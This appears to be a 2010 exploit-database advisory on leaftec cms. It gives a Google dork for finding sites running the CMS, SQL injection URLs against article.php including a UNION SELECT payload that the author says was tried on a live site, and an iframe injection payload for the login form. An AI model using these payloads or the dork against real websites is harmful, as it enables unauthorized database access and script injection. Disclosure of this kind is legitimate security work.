56 lines
No EOL
1.8 KiB
Text
56 lines
No EOL
1.8 KiB
Text
# Exploit Title: leaftec cms multiple vulnerabilities
|
|
# Date: 21.03.2010
|
|
# Author: Valentin Höbel
|
|
# Version:
|
|
# Tested on: Debian etch
|
|
# CVE :
|
|
# Code :
|
|
|
|
|
|
|
|
:: General information
|
|
:: leaftec cms multiple vulnerabilities discovered
|
|
:: by Valentin Höbel
|
|
:: valentin@xenuser.org
|
|
|
|
:: Product information
|
|
:: Name = leaftec cms
|
|
:: Vendor = leaftec
|
|
:: Vendor Website = http://www.leaftec.de/
|
|
:: About the product = http://www.leaftec.de/serv_cms.php
|
|
:: Affected versions =
|
|
:: Google dork: e.g. "© 2006 leaftec Design"
|
|
|
|
|
|
:: Vulnerabilities
|
|
|
|
#1 SQL Injection
|
|
Sadly the CMS is not available for free download but some German companies are using it.
|
|
leaftec cms contains a blog feature which displays written content, file: article.php.
|
|
|
|
Vulnerable URL:
|
|
http://www.some-cool-domain.tld/article.php?id=XX
|
|
|
|
Examples for testing and injecting SQL stuff:
|
|
http://www.some-cool-domain.tld/article.php?id='
|
|
http://www.some-cool-domain.tld/article.php?id="
|
|
http://www.some-cool-domain.tld/article.php?id=XX+AND+1=2+UNION+SELECT+1,2,3,4,5,concat(version()),7--
|
|
(Tested on a live website using leaftec cms.)
|
|
--------------------------------------------------------------------------------------------------------
|
|
|
|
|
|
#2 XSS / HTML Code Injection
|
|
Several parts of the CMS allow HTML and Java Script code injection, e.g. the login box.
|
|
After submitting the form the cms puts a red border around the login and password field but
|
|
also implements the injected code into the website.
|
|
|
|
Example for HTML code:
|
|
"><iframe src=http://www.google.de></iframe>
|
|
--------------------------------------------------------------------------------------------------------
|
|
|
|
|
|
|
|
:: Additional information
|
|
:: Vendor contacted = 21.03.2010
|
|
:: Vulnerabilities fixed = no reply received
|
|
:: Solution = Upgrade to version XX or higher if available |